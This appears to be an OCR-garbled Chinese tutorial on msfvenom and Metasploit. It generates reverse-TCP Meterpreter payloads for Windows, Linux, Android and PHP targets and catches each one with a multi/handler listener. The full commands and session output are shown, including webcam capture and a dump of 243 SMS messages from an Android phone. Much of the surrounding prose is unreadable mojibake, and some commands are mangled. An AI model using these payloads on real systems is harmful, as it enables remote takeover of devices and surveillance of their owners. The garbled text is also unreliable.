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f g p &R payloadl EFEFTApayloada EIFZEME S (x86|x64|x86 64)0 XHFiatc iRiIE CHshellcodex|k 4] EAER : msfvenom -p -f -0 KEEEEZE : msfvenom -p -e -i -n -f -0 msfvenom -p windows/meterpreter/reverse tcp -i 3 -e x86/shikata ga nai -f exe -o C:\back.exe &4} : msfvenom -p windows/meterpreter/reverse tcp -platform windows -a
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shell.pl PYTHON: msfvenom -p python/meterpreter/reverser tcp LHOST= LPORT= -f raw > shell.py EFINENELZLEIRNRES , TEMNASEEEwWINEFE , FELIT ZRWEZMRG |, FTUBRNZINEEEK | PXXEFNE ¢ -], -list FIHIEE LB EER LB BHE: payloads, encoders, nops, platforms, archs, formats, all -p, --payload & FEFEARpayload (BE
fa1)(--list payloadsi§&lpayload?|sR,--list-options5EIIE Epayload &) MNREB(FEHEE X Mpayload,i5EMA'-'8&stdindgE --list-options 75 E payload HRE, BHKFFBEHEIRN Fl30:msfvenom -p generic/shell bind tcp --list-options 443! Hishell bind tcpiX/ payloadIEMEISE -f, --format IEEHBIEX(ER --list formats FIHFFERIIER) -e, --encoding B{FERIILRIG
(fEF --list encoders 3 HFTERIYRIE) AT 4wigI02E --smallest ERFTHE =] ARIZEEERM R e aE/\BIBN A -a, --arch IEE payloadf B #RCPUZEM({EH --list archs FIHFTERICPUSM) --platform FEEpayloadd BIMRIER AT A (ER --list platforms FIHEFBINEIERRZTE) -o, --out HEFpayloadRFEINEH -b, --bad-chars IEENMERBIFERE HIE0: RAMER \xOO\X T iXFHNER -n, -
nopsled Epayload LiRINFEE KEHInopiES -s, --space & EpayloadMeg XK E BIERLIIXH A/ --encoder-space % E fridpayload IR A K E (BAIA Jo-sHU{B) -i, --iterations Y payloadi#{T4miZ3H1IREL -c, --add-code FEE —MNE2RIwin32 shellcodeX ¥ -x, --template FEE —NEIHITIEF $payloadiBGEEH FlEN:RAEENEE X Hnormal.exe @it IR payload IBEEEIX MNMERF £
M -k, --keep # ¥ -xPRRGFERF FRIEHEEMTpayload —M1ER-x -KIEII—EEM -v, --var-name EEATRELEHEBRANBEXZER -t, --timeout ASTDINIZEUE M H FFHFE(EIA K30, 00%H) -h, --help EFHH msfRi#shell SFIMASELR LEIBEMENRZAFIEREITZE , BVl onEEBMEEMipMInO , LR EshellfRE , BNREEZMIZR Erkaili

HErF S ERIR OB, B5i# AmsfconsolefIshell : msfconsole {ARMSIFIEER : msf5 > use exploit/multi/handler [*] Using configured payload generic/shell reverse tcp msf5 exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- Payload options
(generic/shell reverse tcp): Name Current Setting Required Description ---- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf5 exploit(multi/handler) > set LHOST 192.168.1.102 LHOST => 192.168.1.102 msf5

exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.1.102:4444 X ErJLRIEEZIRELHOSTELPORTS# , the]AEENMAVIIEHA Kk 1 XENTH L ERMRMERARSHAESHITXR  XEFABEXLESTEINEKREN , XEMACHSLREREMT., Windows : win7 ($E#1) : 192.168.1.106 Kali (IZEHL) : 192.168.1.102 EEEKaliBHEER
ETwindows&ZMARL : root@kali:~ [-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 341 bytes Final size of exe file: 73802 bytes root@kali:~ {EFmsHRRFITiIHOAMKIT GEEXBEERESAD
payload¥MAYEE ) : msfb > use exploit/multi/ Display all 340 possibilities? (y or n) msf5 > use exploit/multi/handler [*] Using configured payload generic/shell reverse tcp msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse tcp payload => windows/meterpreter/reverse tcp msf5 exploit(multi/handler) > set LHOST
192.168.1.102 LHOST => 192.168.1.102 msf5 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.1.102:4444 /511 LZREEN P HNHIZT : Fi1EBlkalik M ELE2$E N meterpreterfishell T : msf5 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.1.102:4444 [*] Sending stage (176195 bytes) to
192.168.1.106 [*] Meterpreter session 3 opened (192.168.1.102:4444 -> 192.168.1.106:49164) at 2020-10-01 14:09:34 +0800 meterpreter > getuid Server username: WY-PC\WY meterpreter > Linux : CentOS7 (#41) :192.168.1.103 Kali (IZEHN ) : 192.168.1.102 HEEKaliBEEMEME FLInuxRZAAMALD : root@kali:~ [-] No platform was selected,
choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload No encoder specified, outputting raw payload Payload size: 123 bytes Final size of elf file: 207 bytes root@kali:~ {ERmsHRR#HITIHO KT CEEXEZRIRESAK Spayload W MAIET ) : msf5 > use exploit/multi/handler [*] Using configured
payload generic/shell reverse tcp msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse tcppayload => linux/x86/meterpreter/reverse tcp msf5 exploit(multi/handler) > set LHOST 192.168.1.102 LHOST => 192.168.1.102 msf5 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.1.102:4444 J5/5|7] L& Z$EHLH
F./i517 : [root@localhost ~1# chmod 777 shell.elf [root@localhost ~]# ./shell.elf & [1] 2746 [root@localhost ~]# ps -ef |grep shell.elf root 2746 2504 0 14:22 pts/0 00:00:00 ./shell.elf root 2754 2504 0 14:23 pts/0 00:00:00 grep --color=auto shell.elf [root@localhost ~]# FH1EZ|kalik Il E 252 meterpreterfshell 7 : msf5 exploit(multi/handler) >
run [*] Started reverse TCP handler on 192.168.1.102:4444 [*] Sending stage (980808 bytes) to 192.168.1.103 [*] Meterpreter session 2 opened (192.168.1.102:4444 -> 192.168.1.103:55342) at 2020-10-01 14:22:57 +0800 meterpreter > getuid Server username: no-user @ localhost.localdomain (uid=0, gid=0, euid=0, egid=0) meterpreter >
Android : MI8 (F#Hl) :192.168.1.104 Kali (IEHENL) :192.168.1.102 &EEKaliBE@MAEMETFAndroid R4MA LS : root@kali:~# msfvenom -p android/meterpreter/reverse tcp LHOST=192.168.1.102 LPORT=4444 R > shell.apk [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No arch selected, selecting arch:
dalvik from the payload No encoder specified, outputting raw payload Payload size: 10187 bytes root@kali:~# {ERmsHER#ITimO KT CEEXEEIRES ASpayload W RAVELTR ) : msf5 > use exploit/multi/handler [*] Using configured payload generic/shell reverse tcp msf5 exploit(multi/handler) > set payload android/meterpreter/reverse tcp payload
=> android/meterpreter/reverse tcp msf5 exploit(multi/handler) > set LHOST 192.168.1.102 LHOST => 192.168.1.102 msf5 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.1.102:4444 45 1&ZEAFNHAHIE!T . HiIEEkaliLINE 2152V meterpreterfiishell T : msf5 exploit(multi/handler) > run [*] Started reverse TCP
handler on 192.168.1.102:4444 [*] Sending stage (73808 bytes) to 192.168.1.104 [*] Meterpreter session 1 opened (192.168.1.102:4444 -> 192.168.1.104:38078) at 2020-10-01 14:39:51 +0800 meterpreter > sysinfo Computer : localhost OS : Android 10 - Linux 4. Meterpreter : dalvik/android meterpreter > & : FFHEFIIBEL(XEXAMEGLBIEF
JGE) : meterpreter > webcam list 1: Back Camera 2: Front Camera $JHFH1E{%3k : meterpreter > webcam stream [*] Starting... [*] Preparing player... [*] Opening player at: /root/ohFWZoub.html [*] Streaming... [-] webcam_start: Operation failed: 1 meterpreter > Sandbox: unsupported fd-relative fstatat(31, "", 0x7FFE461BC470, 4096) Sandbox:
seccomp sandbox violation: pid 3679, tid 3679, syscall 262, args 31 139979469005566 140730074645616 4096 4096 1. Sandbox: unsupported fd-relative fstatat(31, "", 0x7FFE461BC370, 4096) Sandbox: seccomp sandbox violation: pid 3679, tid 3679, syscall 262, args 31 139979469005566 140730074645360 4096 4096 1. Sandbox: unsupported fd-
relative fstatat(31, "", 0x7FFE461BC370, 4096) Sandbox: seccomp sandbox violation: pid 3679, tid 3679, syscall 262, args 31 139979469005566 140730074645360 4096 4096 1. Sandbox: unsupported fd-relative fstatat(33, "", 0x7FFCFB734980, 4096) Sandbox: seccomp sandbox violation: pid 3731, tid 3731, syscall 262, args 33 139698781278974
140724527122816 4096 4096 1. Sandbox: unsupported fd-relative fstatat(33, "", 0x7FFCFB734880, 4096) Sandbox: seccomp sandbox violation: pid 3731, tid 3731, syscall 262, args 33 139698781278974 140724527122560 4096 4096 1. Sandbox: unsupported fd-relative fstatat(33, "", 0Ox7FFCFB734880, 4096) Sandbox: seccomp sandbox violation: pid
3731, tid 3731, syscall 262, args 33 139698781278974 140724527122560 4096 4096 1. Sandbox: unsupported fd-relative fstatat(26, "", 0x7FFFD2AA0540, 4096) Sandbox: seccomp sandbox violation: pid 3768, tid 3768, syscall 262, args 26 140163614188286 140736727745856 4096 4096 1. Sandbox: unsupported fd-relative fstatat(26, "",
0x7FFFD2AA0440, 4096) Sandbox: seccomp sandbox violation: pid 3768, tid 3768, syscall 262, args 26 140163614188286 140736727745600 4096 4096 1. Sandbox: unsupported fd-relative fstatat(26, "", 0x7FFFD2AA0440, 4096) Sandbox: seccomp sandbox violation: pid 3768, tid 3768, syscall 262, args 26 140163614188286 140736727745600 4096
4096 1. XEBIRBSH , AEBFALA , FIREREImMi8L M AT T AEIFABBRLIE (FFICHE & RMAE (XEmi8SBHEEEEARG  XBEXWSERMITT ) © meterpreter > webcam_snap [*] Starting... [+] Got frame [*] Stopped Webcam shot saved to: /root/KzQqTroL.jpeg AERURNAKN FLEHMIERER I SHBIESESE(E © meterpreter >

dump contacts [*¥] No contacts were found! meterpreter > dump_sms [*] Fetching 243 sms messages [*] SMS messages saved to: sms dump 20201001145514. txt XERERGRIFFLIESHFK , MTEESHRT , FEXEHEZIEN PHP : CentOS7 ($E41) :192.168.1.103 - PHP:5.4.16 - Apache : 2.4.6 Kali (&) : 192.168.1.102 BE5E#EKaliE
HEMEFphplHIRBSHAKRS : root@kali:~# msfvenom -p php/meterpreter reverse tcp LHOST=192.168.1.102 LPORT=4444 -f raw > shell.php [-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload [-] No arch selected, selecting arch: php from the payload No encoder specified, outputting raw payload Payload size:
30689 bytes root@kali: ~# FERAmMsHRRFITIROKIT GEEXBEIRES KD payloadWRAIE R ) : msf5 > use exploit/multi/handler [*] Using configured payload generic/shell reverse tcp msf5 exploit(multi/handler) > set payload php/meterpreter reverse tcp payload => php/meterpreter reverse tcp msf5 exploit(multi/handler) > set LHOST
192.168.1.102 LHOST => 192.168.1.102 msf5 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.1.102:4444 K5 L ERIEEH Mubis s P HERR TR ARNXTIE : AR ZANEEEE A SIIENEchmod 777 shell.php FA1EZlkaliZ I E LS E N meterpreterfshell T : msf5 exploit(multi/handler) > run [*] Started reverse TCP handler on
192.168.1.102:4444 [*] Meterpreter session 1 opened (192.168.1.102:4444 -> 192.168.1.103:40810) at 2020-10-01 15:20:21 +0800 meterpreter > getuid Server username: root (0) 4FItFEEH | WNXENEEARRR , BZHETFEAIEERIE,
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